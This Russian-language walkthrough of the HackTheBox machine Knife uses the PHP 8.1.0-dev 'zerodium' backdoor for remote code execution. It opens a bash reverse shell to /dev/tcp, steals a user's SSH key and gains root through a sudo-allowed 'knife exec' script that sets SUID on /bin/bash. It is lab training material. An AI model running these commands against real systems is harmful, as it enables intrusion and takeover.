Эксплуатация бэкдора PHP на виртуалке Knife HackTheBox

htb knife

Тема сегодняшней статьи «Эксплуатация бэкдора PHP 8.1.0-dev» Я вместе с вами пройду простую виртуальную машину Knife с пло­щад­ки Hack The Box, которая была оперативна пофиксена, но еще вполне может встретиться при пентесте и в поисках уязвимостей.

Еще по теме: Взлом веб-сервера на Windows и Apache через SSRF

Сканирование портов

Сразу до­бав­им IP-адрес машины в /etc/hosts, что­бы в будущем взаимодействовать по удобному адресу и не вводить IP.

10.10.10.242    knife.htb

И перейдем к сканированию пор­тов.

Сканирование портов

Ска­ниро­вание пор­тов — это начало начал любого пентеста и ата­ки. Операция позволит определить, какие служ­бы на хос­те при­нима­ют соеди­нение. После этого этапа, будет выбран следующий шаг.

Самый популярный сканер — это Nmap. Улуч­шить его КПД можно с помощью этого скрип­та:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он работает в два эта­па. Пер­вый про­изво­дит­ быс­трое ска­ниро­вание, вто­рой — более детальное ска­ниро­вание, исполь­зуя име­ющиеся скрип­ты (опция -A).

hackthebox knife
Сканирование

Сканирование обнаружило 2 откры­тых пор­та: 22 (служ­ба SSH) и 80 (Apache 2.4.41). SSH пока не интересует, вместо этого глянем на сайт.

Глав­ная стра­ница сай­та HTB Knife
Главная

На сайте с несколькими скриптами JS не нашлось нечего интересно.

Нужно приступать к более глубокому анализу. Для это­го цели подходит тулза WhatWeb, который рас­позна­ет веб‑тех­нологии, движок сайта, инструменты ста­тис­тики, биб­лиоте­ки JavaScript и т.д. Кроме этого WhatWeb предоставляет 1700 пла­гинов, которые могут быть использованы при агрессив­ном ска­ниро­вании. При обычном запуске, будет выпол­нен только один зап­рос.

После ска­ниро­вания WhatWeb
После ска­ниро­вания WhatWeb

Из всей найденной информа­ции наибо­лее инте­ресен заголо­вок X-Powered-By, по которо­му можно определить вер­сию PHP 8.1.0-dev. Сло­во dev указывает на то, что вер­сия PHP предварительная, а это говорит о том, что в ней могут быть уяз­вимос­ти.

Поиск эксплоитов

Эсплоиты для пен­теста можно поискать на специализированных сайтах для поиска уязвимостей или с помощью поисковиков. Если вы используете Kali Linux, можно попробовать ути­литу searchsploit.

Поиск эксплоита для PHP 8.1.0
Поиск эксплоита для PHP 8.1.0

В данном конкретном случае searchsploit нам не принесла результатов, а вот в Гуглик смог най­ти что-то инте­рес­ное.

Точка опоры

Вер­сия PHP 8.1.0-dev была выпуще­на с бэк­дором, но раз­работ­чики быс­тро обна­ружи­ли его и уда­лили в релизе.

Ес­ли эта вер­сия PHP работа­ет на сер­вере, зло­умыш­ленник может выпол­нить про­изволь­ный код, отпра­вив заголо­вок User-Agentt. Как мож­но заметить, если изу­чить ис­ходни­ки, код выпол­няет­ся в фун­кции zend_eval_string, если стро­ка из HTTP-заголов­ка User-Agentt начина­ется с zerodium.

Уязвимый код из репозитория на GitHub
Уязвимый код из репозитория на GitHub

Для экс­плу­ата­ции уяз­вимос­ти мож­но исполь­зовать экс­пло­ит Ричар­да Джон­са, он даст нам RCE.

python3 php_8.1.0-dev.py -u http://knife.htb/ -c 'id'
Результат работы эксплоита для PHP 8.1.0-dev
Результат работы эксплоита для PHP 8.1.0-dev

И сра­зу кида­ем реверс‑шелл.

Реверс-шелл

Об­ратный шелл — это под­клю­чение, которое акти­виру­ет ата­куемая машина, а мы при­нима­ем и таким обра­зом под­клю­чаем­ся к ней, что­бы выпол­нять коман­ды от лица поль­зовате­ля, который запус­тил шелл. Для при­ема соеди­нения необ­ходимо соз­дать на локаль­ной машине listener, то есть «слу­шатель» Более подробно о слушателях и обратном шеле в статье «Использование Mestploit».

В таких слу­чаях при­годит­ся rlwrap — readline-обо­лоч­ка, которая в чис­ле про­чего поз­воля­ет поль­зовать­ся исто­рией команд. Она обыч­но дос­тупна в репози­тории дис­три­бути­ва.

apt install rlwrap

В качес­тве самого лис­тенера при этом мож­но исполь­зовать широко извес­тный netcat.

rlwrap nc -lvp [port]

Вы­пол­няем под­клю­чение и ловим бэк­коннект.

python3 php_8.1.0-dev.py -u http://knife.htb/ -c "/bin/bash -c 'bash -i >&/dev/tcp/[ip]/[port] 0>&1'"
Бэк­коннект от сер­вера
Бэк­коннект от сер­вера

В дирек­тории /home/james/.ssh находим пару клю­чей поль­зовате­ля. Так как соеди­нение SSH более ста­биль­ное, копиру­ем при­ват­ный ключ на локаль­ный хост, наз­нача­ем пра­ва 0600 и под­клю­чаем­ся к хос­ту. Так мы берем флаг поль­зовате­ля.

chmod +x id_rsa
ssh -i ./id_rsa james@knife.htb
Флаг пользователя
Флаг пользователя

 

Локальное повышение привилегий

Пер­вым делом про­веря­ем наибо­лее веро­ятные мес­та повыше­ния при­виле­гий в Linux — в пер­вую оче­редь нас­трой­ки sudoers.

Sudoers

Файл /etc/sudoers в Linux содер­жит спис­ки команд, которые раз­ные груп­пы поль­зовате­лей могут выпол­нять от име­ни адми­нис­тра­тора сис­темы.

Мож­но прос­мотреть его как нап­рямую, так и при помощи коман­ды sudo -l.

sudoers
sudoers

В sudoers про­писан при­виле­гиро­ван­ный запуск прог­раммы /usr/bin/knife без пароля (NOPASSWD). Этот файл — ссыл­ка на прог­рамму в дирек­тории /opt, которая, воз­можно, свя­зана с язы­ком прог­рамми­рова­ния Ruby. Об этом говорит упо­мина­ние сло­ва gem, что, ско­рее все­го, ука­зыва­ет на исполь­зование сис­темы управле­ния пакета­ми RubyGems.

Под­робное пред­став­ление ссыл­ки /usr/bin/knife
Под­робное пред­став­ление ссыл­ки /usr/bin/knife
Со­дер­жимое дирек­тории /opt/chef-workstation
Со­дер­жимое дирек­тории /opt/chef-workstation

Пос­мотрим справ­ку при­ложе­ния. Здесь инте­рес­на коман­да exec, которая при­нима­ет один аргу­мент — путь к скрип­ту (не счи­тая аргу­мен­тов самого скрип­та).

Справка для команды exec программы knife
Справка для команды exec программы knife

Что это за скрипт, не говорит­ся, но мы пом­ним намек на RubyGems. Сде­лаем тес­товый скрипт на Ruby, который выводит стро­ку Hello World!, и отда­дим его при­ложе­нию.

echo 'puth "Hello World!"' > test.rb
sudo /usr/bin/knife exec test.rb
Запуск целевого приложения с созданным скриптом
Запуск целевого приложения с созданным скриптом

Скрипт успешно отра­ботал, а зна­чит, оста­лось лишь изме­нить его, что­бы он выпол­нял нуж­ные нам коман­ды. Исполь­зовать фун­кцию system, что­бы запус­тить реверс‑шелл, не получи­лось, поэто­му приш­лось искать дру­гие спо­собы зак­репить­ся в при­виле­гиро­ван­ном кон­тек­сте. Нап­ример, мож­но записать клю­чи SSH, соз­дать при­виле­гиро­ван­ных поль­зовате­лей и так далее. Я решил наз­начить бит SUID обо­лоч­ке /bin/bash.

Бит SUID

Ког­да у фай­ла уста­нов­лен атри­бут setuid (S-атри­бут), обыч­ный поль­зователь, запус­кающий этот файл, получа­ет повыше­ние прав до поль­зовате­ля — вла­дель­ца фай­ла в рам­ках запущен­ного про­цес­са.

Пос­ле получе­ния повышен­ных прав при­ложе­ние может выпол­нять задачи, которые недос­тупны обыч­ному поль­зовате­лю. Из‑за воз­можнос­ти сос­тояния гон­ки мно­гие опе­раци­онные сис­темы игно­риру­ют S-атри­бут, уста­нов­ленный shell-скрип­там.

echo "system('chmod +s /bin/bash')" > test.rb
sudo /usr/bin/knife exec test.rb
/bin/bash -p
Флаг рута. Прохождение Knife Hack The Box
Флаг рута. Прохождение Knife Hack The Box

Мы получа­ем флаг рута и таким обра­зом зах­ватыва­ем машину.

Еще по теме: Прохождение виртуалки Laboratory Hack The Box

ВКонтакте
OK
Telegram
WhatsApp
Viber

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *